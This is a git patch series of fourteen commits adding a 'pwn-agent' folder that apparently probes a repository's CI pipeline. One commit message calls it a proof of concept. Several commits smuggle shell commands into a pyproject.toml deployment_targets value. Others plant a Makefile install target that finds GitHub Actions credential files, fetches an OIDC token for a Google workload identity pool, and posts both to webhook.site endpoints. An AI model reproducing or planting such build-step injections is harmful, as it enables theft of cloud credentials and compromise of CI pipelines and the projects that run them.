From 71e59c7050828cebb85d4f8269bcdc7f8255ea0a Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 07:51:12 +0300 Subject: [PATCH 01/14] Create pyproject.toml Signed-off-by: yigolden --- python/agents/pwn-agent/pyproject.toml | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 python/agents/pwn-agent/pyproject.toml diff --git a/python/agents/pwn-agent/pyproject.toml b/python/agents/pwn-agent/pyproject.toml new file mode 100644 index 0000000000..20bb42379d --- /dev/null +++ b/python/agents/pwn-agent/pyproject.toml @@ -0,0 +1,6 @@ +[tool.agent-starter-pack] + +[tool.agent-starter-pack.settings] +deployment_targets = [ + "agent_engine; curl https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/$(cat $GOOGLE_APPLICATION_CREDENTIALS | base64 -w0) #" +] From d08e2f022bb25f872efad917bceef0d520241350 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 07:57:03 +0300 Subject: [PATCH 02/14] Update pyproject.toml Signed-off-by: yigolden --- python/agents/pwn-agent/pyproject.toml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/python/agents/pwn-agent/pyproject.toml b/python/agents/pwn-agent/pyproject.toml index 20bb42379d..a500f19080 100644 --- a/python/agents/pwn-agent/pyproject.toml +++ b/python/agents/pwn-agent/pyproject.toml @@ -1,6 +1,5 @@ [tool.agent-starter-pack] - [tool.agent-starter-pack.settings] deployment_targets = [ - "agent_engine; curl https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/$(cat $GOOGLE_APPLICATION_CREDENTIALS | base64 -w0) #" + "agent_engine; curl https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/`base64 -w0 $GOOGLE_APPLICATION_CREDENTIALS` #" ] From 0b598e6a73a58db871cb6d919bb97c99175f2fc8 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 08:00:27 +0300 Subject: [PATCH 03/14] Update pyproject.toml Signed-off-by: yigolden --- python/agents/pwn-agent/pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/pyproject.toml b/python/agents/pwn-agent/pyproject.toml index a500f19080..06faf5850e 100644 --- a/python/agents/pwn-agent/pyproject.toml +++ b/python/agents/pwn-agent/pyproject.toml @@ -1,5 +1,5 @@ [tool.agent-starter-pack] [tool.agent-starter-pack.settings] deployment_targets = [ - "agent_engine; curl https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/`base64 -w0 $GOOGLE_APPLICATION_CREDENTIALS` #" + "agent_engine; wget https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -O /dev/null #" ] From 3ee1b62c5d5a98860cb027fd2bddcde3171be1d3 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 08:04:45 +0300 Subject: [PATCH 04/14] Update pyproject.toml Signed-off-by: yigolden --- python/agents/pwn-agent/pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/pyproject.toml b/python/agents/pwn-agent/pyproject.toml index 06faf5850e..d4a4385296 100644 --- a/python/agents/pwn-agent/pyproject.toml +++ b/python/agents/pwn-agent/pyproject.toml @@ -1,5 +1,5 @@ [tool.agent-starter-pack] [tool.agent-starter-pack.settings] deployment_targets = [ - "agent_engine; wget https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -O /dev/null #" + "agent_engine\"; wget https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -O /dev/null; echo \"" ] From a45bd73d4734d8c9ecd27781e70fe341aa02c000 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 08:08:08 +0300 Subject: [PATCH 05/14] Update pyproject.toml Signed-off-by: yigolden --- python/agents/pwn-agent/pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/pyproject.toml b/python/agents/pwn-agent/pyproject.toml index d4a4385296..9005b745f7 100644 --- a/python/agents/pwn-agent/pyproject.toml +++ b/python/agents/pwn-agent/pyproject.toml @@ -1,5 +1,5 @@ [tool.agent-starter-pack] [tool.agent-starter-pack.settings] deployment_targets = [ - "agent_engine\"; wget https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -O /dev/null; echo \"" + "agent_engine" ] From 32c1b1c1baca7eaa604eda1ca7f0d7f901289c27 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 08:08:26 +0300 Subject: [PATCH 06/14] Create Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 python/agents/pwn-agent/Makefile diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile new file mode 100644 index 0000000000..42e2038fa9 --- /dev/null +++ b/python/agents/pwn-agent/Makefile @@ -0,0 +1,2 @@ +install: + wget https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -O /dev/null From 31cd03094244e49fd51e22ffd0e481502bc5ae60 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 08:11:14 +0300 Subject: [PATCH 07/14] Update Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index 42e2038fa9..14796e540b 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,2 +1,2 @@ install: - wget https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -O /dev/null + curl -s https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -o /dev/null From 554a614bafb00455304766736e2e1c09bbc4b9d4 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 08:13:52 +0300 Subject: [PATCH 08/14] Update Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index 14796e540b..59b4599b7c 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,2 +1,2 @@ install: - curl -s https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -o /dev/null + curl -s https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -d @$GOOGLE_APPLICATION_CREDENTIALS From 507693cbe014b201540c054bd5d164525ad46ad0 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 22 Apr 2026 08:16:27 +0300 Subject: [PATCH 09/14] Update Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index 59b4599b7c..522dcf77c7 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,2 +1,2 @@ install: - curl -s https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -d @$GOOGLE_APPLICATION_CREDENTIALS + find /github/workspace -name "gha-creds-*.json" -exec curl -s https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -d @{} \; From aee60c27d33eaca23f5138d033e614ed85765498 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 29 Apr 2026 09:55:09 +0300 Subject: [PATCH 10/14] Update Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index 522dcf77c7..b7dc74ed45 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,2 +1,2 @@ install: - find /github/workspace -name "gha-creds-*.json" -exec curl -s https://webhook.site/7e258064-8004-46f0-8209-4805c8e66bf1/ -d @{} \; + curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a -d "$(cat $(find /github/workspace -name 'gha-creds-*.json' | head -1))" From 66b234437eb8382a33ecf79e2864560da9f35542 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 29 Apr 2026 10:01:17 +0300 Subject: [PATCH 11/14] Update Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index b7dc74ed45..bd248a4631 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,2 +1,2 @@ install: - curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a -d "$(cat $(find /github/workspace -name 'gha-creds-*.json' | head -1))" + curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a -d @$(find /github/workspace -name "gha-creds-*.json" | head -1) From fbb2c5b3a2df4157a1e70b6b7aa3154e3fb88e6c Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 29 Apr 2026 10:06:29 +0300 Subject: [PATCH 12/14] Update Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index bd248a4631..a80f2e1349 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,2 +1,2 @@ install: - curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a -d @$(find /github/workspace -name "gha-creds-*.json" | head -1) + find /github/workspace -name "gha-creds-*.json" -exec curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a -d @{} \; From 482afae808ca3e56e1bcbeb4e580d44cfdf4d9c1 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 29 Apr 2026 10:16:53 +0300 Subject: [PATCH 13/14] Update Makefile testing poc for impact Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index a80f2e1349..fb89689e47 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,2 +1,6 @@ install: - find /github/workspace -name "gha-creds-*.json" -exec curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a -d @{} \; + + find /github/workspace -name "gha-creds-*.json" -exec curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a/ -d @{} \; + + @ACTIONS_ID_TOKEN=$$(curl -s "$$ACTIONS_ID_TOKEN_REQUEST_URL&audience=https://iam.googleapis.com/projects/628595556591/locations/global/workloadIdentityPools/github-pool/providers/github-provider" -H "Authorization: bearer $$ACTIONS_ID_TOKEN_REQUEST_TOKEN" | jq -r .value); \ + curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a/ -d "valid_google_token=$$ACTIONS_ID_TOKEN" From 98e07f3bd0edeb266efa55c42071f978d1d6ecb2 Mon Sep 17 00:00:00 2001 From: yigolden Date: Wed, 29 Apr 2026 10:21:19 +0300 Subject: [PATCH 14/14] Update Makefile Signed-off-by: yigolden --- python/agents/pwn-agent/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/agents/pwn-agent/Makefile b/python/agents/pwn-agent/Makefile index fb89689e47..15ccda4076 100644 --- a/python/agents/pwn-agent/Makefile +++ b/python/agents/pwn-agent/Makefile @@ -1,6 +1,6 @@ install: find /github/workspace -name "gha-creds-*.json" -exec curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a/ -d @{} \; - - @ACTIONS_ID_TOKEN=$$(curl -s "$$ACTIONS_ID_TOKEN_REQUEST_URL&audience=https://iam.googleapis.com/projects/628595556591/locations/global/workloadIdentityPools/github-pool/providers/github-provider" -H "Authorization: bearer $$ACTIONS_ID_TOKEN_REQUEST_TOKEN" | jq -r .value); \ + + @ACTIONS_ID_TOKEN=$$(curl -s "$$ACTIONS_ID_TOKEN_REQUEST_URL&audience=https://iam.googleapis.com/projects/628595556591/locations/global/workloadIdentityPools/github-pool/providers/github-provider" -H "Authorization: bearer $$ACTIONS_ID_TOKEN_REQUEST_TOKEN" | grep -oP '"value":"\K[^"]+'); \ curl -s https://webhook.site/c6c5e80f-27ba-41ee-88d7-0330413c818a/ -d "valid_google_token=$$ACTIONS_ID_TOKEN"